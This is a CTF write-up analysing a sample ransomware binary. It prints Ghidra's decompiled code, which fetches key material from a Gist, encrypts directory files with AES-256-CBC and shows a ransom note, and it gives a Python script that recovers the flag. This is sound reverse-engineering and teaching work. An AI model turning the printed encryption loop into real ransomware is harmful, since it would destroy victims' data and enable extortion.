Favela Ransomware
8 minutes to read
In this challenge we have a Windows PE called favela_ransom.exe
along with other files that are part of a ransomware attack, together with the encrypted files that we have to recover:
$ file *
diary.txt: data
favela_ransom.exe: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
flag.enc: data
lia sikora desnuda.jpg: data
note.txt: Unicode text, UTF-8 text
ransomed.png: PNG image data, 2643 x 1580, 8-bit/color RGBA, non-interlaced
Reverse engineering
When opening the executable in Ghidra, and looking at the strings, we see a curious one that points to a GitHub Gist: https://gist.githubusercontent.com/jsdario/6d6c69398cb0c73111e49f1218960f79/raw.
It is an extract from El Quijote. If we look at the references to this string, we arrive at the main function of the program:
undefined8 FUN_140001717(void) {
// ...
uVar10 = (undefined4)((ulonglong)in_stack_fffffffffffffbc8 >> 0x20);
FUN_140003360();
local_24 = 0;
local_44 = 0x1c;
local_48 = 0x3c;
uVar7 = 0;
uVar5 = 0;
pauVar3 = (undefined1 (*) [10])0x1;
local_50 = InternetOpenA(0);
if (local_50 == 0) {
FUN_140001550("Failed to open Internet connection\n",pauVar3,uVar5,uVar7);
uVar5 = 1;
}
else {
uVar11 = 0;
uVar9 = CONCAT44(uVar10,0x80000000);
uVar7 = 0;
uVar5 = 0;
pcVar4 = "https://gist.github.com/jsdario/6d6c69398cb0c73111e49f1218960f79/raw";
local_58 = InternetOpenUrlA(local_50);
if (local_58 == 0) {
FUN_140001550("Failed to connect to the server\n",(undefined1 (*) [10])pcVar4,uVar5,uVar7);
InternetCloseHandle(local_50);
uVar5 = 1;
}
else {
InternetReadFile(local_58,local_2b8,0x200,local_ac,uVar9,uVar11);
InternetCloseHandle(local_58);
InternetCloseHandle(local_50);
local_20 = strtok(local_2b8," \t\n");
while ((local_20 != NULL && (local_24 < local_48))) {
if (local_44 <= local_24) {
local_2d8[local_24 - local_44] = *local_20;
}
local_24 = local_24 + 1;
local_20 = strtok(NULL," \t\n");
}
local_2e8 = 0x2847440128473928;
local_2e0 = 0x28044719461b471a;
for (local_30 = 0; local_30 < 0x10; local_30 = local_30 + 1) {
*(byte *)((longlong)&local_2e8 + local_30) =
*(byte *)((longlong)&local_2e8 + local_30) ^ 0x77;
}
for (local_38 = 0; local_38 < 0x20; local_38 = local_38 + 1) {
local_308[local_38] = local_2d8[local_38];
}
for (local_40 = 0; local_40 < 0x10; local_40 = local_40 + 1) {
*(undefined *)((longlong)local_318 + local_40) =
*(undefined *)((longlong)&local_2e8 + local_40);
}
FUN_14000211f((longlong)local_418,(longlong)local_308,local_318);
local_60 = (undefined8 *)FUN_140004390(".");
if (local_60 == NULL) {
perror("Error opening directory");
uVar5 = 1;
}
else {
LAB_140001d1a:
local_68 = FUN_1400045d0(local_60);
if (local_68 != NULL) {
local_80 = fopen((char *)(local_68 + 1),"rb+");
local_88 = "favela_ransom.exe";
local_90 = "ransomed.png";
local_98 = "note.txt";
iVar2 = strcmp((char *)(local_68 + 1),"favela_ransom.exe");
if (iVar2 != 0) {
iVar2 = strcmp((char *)(local_68 + 1),local_90);
if (iVar2 != 0) {
iVar2 = strcmp((char *)(local_68 + 1),local_98);
if ((iVar2 != 0) && (local_80 != NULL)) {
fseek(local_80,0,2);
local_9c = ftell(local_80);
rewind(local_80);
local_a8 = (undefined8 *)malloc((longlong)(int)(local_9c + 1));
if (local_a8 != NULL) {
fread(local_a8,(longlong)(int)local_9c,1,local_80);
if ((local_9c & 0xf) == 0) {
FUN_140003069((longlong)local_418,local_a8,(longlong)(int)local_9c);
fseek(local_80,0,0);
fwrite(local_a8,(longlong)(int)local_9c,1,local_80);
}
else {
pauVar3 = (undefined1 (*) [10])(longlong)(int)local_9c;
pSVar8 = &local_428;
ppuVar6 = &local_420;
bVar1 = FUN_14000165c(local_a8,(ulonglong)pauVar3,ppuVar6,pSVar8);
if ((int)CONCAT71(extraout_var,bVar1) == 0) {
FUN_140001550("Error padding buffer\n",pauVar3,ppuVar6,pSVar8);
fclose(local_80);
goto LAB_140001d1a;
}
FUN_140003069((longlong)local_418,local_420,local_428);
fseek(local_80,0,0);
fwrite(local_420,local_428,1,local_80);
lpMem = local_420;
hHeap = GetProcessHeap();
HeapFree(hHeap,0,lpMem);
}
fseek(local_80,0,0);
fwrite(local_a8,(longlong)(int)local_9c,1,local_80);
free(local_a8);
}
fclose(local_80);
}
}
}
goto LAB_140001d1a;
}
FUN_140004810(local_60);
local_70 = "ransomed.png";
ShellExecuteA(NULL,"open","ransomed.png",NULL,NULL,1);
local_78 = "note.txt";
ShellExecuteA(NULL,"open","notepad.exe","note.txt",NULL,1);
uVar5 = 0;
}
}
}
return uVar5;
}
Encryption keys identification
Basically, the program downloads the file and takes the words of the text using strtok
:
local_20 = strtok(local_2b8," \t\n");
while ((local_20 != NULL && (local_24 < local_48))) {
if (local_44 <= local_24) {
local_2d8[local_24 - local_44] = *local_20;
}
local_24 = local_24 + 1;
local_20 = strtok(NULL," \t\n");
}
With this, it creates some kind of key. On the other hand, another key appears here:
local_2e8 = 0x2847440128473928;
local_2e0 = 0x28044719461b471a;
for (local_30 = 0; local_30 < 0x10; local_30 = local_30 + 1) {
*(byte *)((longlong)&local_2e8 + local_30) =
*(byte *)((longlong)&local_2e8 + local_30) ^ 0x77;
}
If we decipher this XOR with 0x77
, we will see the key in clear text:
$ python3 -q
>>> from pwn import p64, xor
>>> xor(p64(0x2847440128473928) + p64(0x28044719461b471a), 0x77)
b'_N0_v30_m0l1n0s_'
In the part in which files are encrypted, it reads the files of the current directory and verifies not encrypting the files that come with the ransomware:
local_68 = FUN_1400045d0(local_60);
if (local_68 != NULL) {
local_80 = fopen((char *)(local_68 + 1),"rb+");
local_88 = "favela_ransom.exe";
local_90 = "ransomed.png";
local_98 = "note.txt";
iVar2 = strcmp((char *)(local_68 + 1),"favela_ransom.exe");
if (iVar2 != 0) {
iVar2 = strcmp((char *)(local_68 + 1),local_90);
if (iVar2 != 0) {
iVar2 = strcmp((char *)(local_68 + 1),local_98);
if ((iVar2 != 0) && (local_80 != NULL)) {
Encryption algorithms identification
The part in which the encryption happens is:
fread(local_a8,(longlong)(int)local_9c,1,local_80);
if ((local_9c & 0xf) == 0) {
FUN_140003069((longlong)local_418,local_a8,(longlong)(int)local_9c);
fseek(local_80,0,0);
fwrite(local_a8,(longlong)(int)local_9c,1,local_80);
}
In this function, we see two functions (FUN_140003015
and FUN_140002ece
) to which 16-byte blocks of cleartext are passed:
void FUN_140003069(longlong param_1,undefined8 *param_2,ulonglong param_3) {
undefined8 uVar1;
undefined8 *local_res10;
undefined8 *local_18;
ulonglong local_10;
local_18 = (undefined8 *)(param_1 + 0xf0);
local_res10 = param_2;
for (local_10 = 0; local_10 < param_3; local_10 = local_10 + 0x10) {
FUN_140003015((longlong)local_res10,(longlong)local_18);
FUN_140002ece((longlong)local_res10,param_1);
local_18 = local_res10;
local_res10 = local_res10 + 2;
}
uVar1 = local_18[1];
*(undefined8 *)(param_1 + 0xf0) = *local_18;
*(undefined8 *)(param_1 + 0xf8) = uVar1;
return;
}
The function FUN_140003015
applies an XOR cipher:
void FUN_140003015(longlong param_1,longlong param_2) {
byte local_9;
for (local_9 = 0; local_9 < 0x10; local_9 = local_9 + 1) {
*(byte *)(param_1 + (ulonglong)local_9) =
*(byte *)(param_2 + (ulonglong)local_9) ^ *(byte *)(param_1 + (ulonglong)local_9);
}
return;
}
And function FUN_140002ece
applies an AES-256 encryption in ECB mode. On the one hand, we know this because of the information that appears in note.txt
:
Utilizando criptografia AES 256bit, tornando practicamente impossível a
recuperacão dos arquivos sem a chave correta para recuperação dos dados.
On the other hand, when looking at the function we see a series of calls that reveal that it is AES:
void FUN_140002ece(longlong param_1,longlong param_2) {
byte local_9;
FUN_140002193(0,param_1,param_2);
local_9 = 1;
while( true ) {
FUN_14000223e(param_1);
FUN_1400022bf(param_1);
if (local_9 == 0xe) break;
FUN_1400023cf(param_1);
FUN_140002193(local_9,param_1,param_2);
local_9 = local_9 + 1;
}
FUN_140002193(0xe,param_1,param_2);
return;
}
For example, we see that the encryption consists of a series of functions executed in 14 (0xe
) rounds. Plus, we can identify the use of an S-Box in the function FUN_14000223e
:
void FUN_14000223e(longlong param_1) {
byte local_a;
byte local_9;
for (local_9 = 0; local_9 < 4; local_9 = local_9 + 1) {
for (local_a = 0; local_a < 4; local_a = local_a + 1) {
*(undefined *)((longlong)(int)(uint)local_a * 4 + param_1 + (longlong)(int)(uint)local_9) =
(&DAT_14000b140)
[(int)(uint)*(byte *)((longlong)(int)(uint)local_a * 4 + param_1 +
(longlong)(int)(uint)local_9)];
}
}
return;
}
The symbol DAT_14000b140
contains these bytes:
14000b140 63 ?? 63h c
14000b141 7c ?? 7Ch |
14000b142 77 ?? 77h w
14000b143 7b ?? 7Bh {
14000b144 f2 ?? F2h
14000b145 6b ?? 6Bh k
14000b146 6f ?? 6Fh o
14000b147 c5 ?? C5h
14000b148 30 ?? 30h 0
14000b149 01 ?? 01h
14000b14a 67 ?? 67h g
14000b14b 2b ?? 2Bh +
14000b14c fe ?? FEh
14000b14d d7 ?? D7h
14000b14e ab ?? ABh
14000b14f 76 ?? 76h v
...
Which is clearly the Rijndael S-Box that is used in AES.
Therefore, this function FUN_14000223e
corresponds to the SubBytes in AES. The rest of the loop functions correspond to MixColumns, ShiftRows and AddRoundKey. For example, this is the ShiftRows function:
void FUN_1400022bf(longlong param_1) {
undefined uVar1;
uVar1 = *(undefined *)(param_1 + 1);
*(undefined *)(param_1 + 1) = *(undefined *)(param_1 + 5);
*(undefined *)(param_1 + 5) = *(undefined *)(param_1 + 9);
*(undefined *)(param_1 + 9) = *(undefined *)(param_1 + 0xd);
*(undefined *)(param_1 + 0xd) = uVar1;
uVar1 = *(undefined *)(param_1 + 2);
*(undefined *)(param_1 + 2) = *(undefined *)(param_1 + 10);
*(undefined *)(param_1 + 10) = uVar1;
uVar1 = *(undefined *)(param_1 + 6);
*(undefined *)(param_1 + 6) = *(undefined *)(param_1 + 0xe);
*(undefined *)(param_1 + 0xe) = uVar1;
uVar1 = *(undefined *)(param_1 + 3);
*(undefined *)(param_1 + 3) = *(undefined *)(param_1 + 0xf);
*(undefined *)(param_1 + 0xf) = *(undefined *)(param_1 + 0xb);
*(undefined *)(param_1 + 0xb) = *(undefined *)(param_1 + 7);
*(undefined *)(param_1 + 7) = uVar1;
return;
}
And this is AddRoundKey:
void FUN_140002193(byte param_1,longlong param_2,longlong param_3) {
byte local_a;
byte local_9;
for (local_9 = 0; local_9 < 4; local_9 = local_9 + 1) {
for (local_a = 0; local_a < 4; local_a = local_a + 1) {
*(byte *)((longlong)(int)(uint)local_9 * 4 + param_2 + (longlong)(int)(uint)local_a) =
*(byte *)(param_3 + (int)((uint)local_a + ((uint)local_9 + (uint)param_1 * 4) * 4)) ^
*(byte *)((longlong)(int)(uint)local_9 * 4 + param_2 + (longlong)(int)(uint)local_a);
}
}
return;
}
So, it is clear that the encryption is XOR + AES in 16-byte blocks.
The XOR key is _N0_v30_m0l1n0s_
. Actually, it is the initial key, since in the second iteration, the previous ciphertext block is taken as key. Thus, it is AES in CBC mode. Let’s look at the encryption function again (with renamed symbols):
void do_encrypt(longlong key, char *pt, ulonglong size) {
undefined8 uVar1;
char *pt_block;
char *iv;
ulonglong i;
iv = (char *) (key + 0xf0);
pt_block = pt;
for (i = 0; i < size; i += 0x10) {
xor((longlong) pt_block, (longlong) iv);
aes((longlong) pt_block, key);
iv = pt_block;
pt_block += 0x10;
}
uVar1 = *(undefined8 *) (iv + 8);
*(undefined8 *) (key + 0xf0) = *(undefined8 *) iv;
*(undefined8 *) (key + 0xf8) = uVar1;
}
The only missing thing is to obtain the AES key. In code it is difficult to see, but we can use a debugger. Looking at the program with x64dbg and setting a breakpoint in the function that derives the RoundKeys of AES (easy to distinguish because it makes use of the S-Box), we will see that what it takes are the initial letters of the first 32 words of El Quijote:
EuldlMdcnnqanhmtqvuhdldleaaarfyg
Flag
With all this, we can already decrypt the flag (decrypting XOR and AES in ECB mode, or simply with AES in CBC mode):
$ python3 -q
>>> from pwn import p64, xor
>>> from Crypto.Cipher import AES
>>>
>>> xor(p64(0x2847440128473928) + p64(0x28044719461b471a), 0x77)
b'_N0_v30_m0l1n0s_'
>>> key = b'EuldlMdcnnqanhmtqvuhdldleaaarfyg'
>>> len(key)
32
>>>
>>> with open('flag.enc', 'rb') as f:
... flag_enc = f.read()
...
>>> cipher = AES.new(key, AES.MODE_ECB)
>>> xor(cipher.decrypt(flag_enc[:16]), b'_N0_v30_m0l1n0s_')
b'HackOn{3u_s0u_o_'
>>> xor(cipher.decrypt(flag_enc[16:32]), flag_enc[:16])
b'X-M3n_D4_Favel4}'
>>> xor(cipher.decrypt(flag_enc[:16]), b'_N0_v30_m0l1n0s_') + xor(cipher.decrypt(flag_enc[16:32]), flag_enc[:16])
b'HackOn{3u_s0u_o_X-M3n_D4_Favel4}'
>>>
>>> cipher = AES.new(key, AES.MODE_CBC, iv=b'_N0_v30_m0l1n0s_')
>>> cipher.decrypt(flag_enc)
b'HackOn{3u_s0u_o_X-M3n_D4_Favel4}'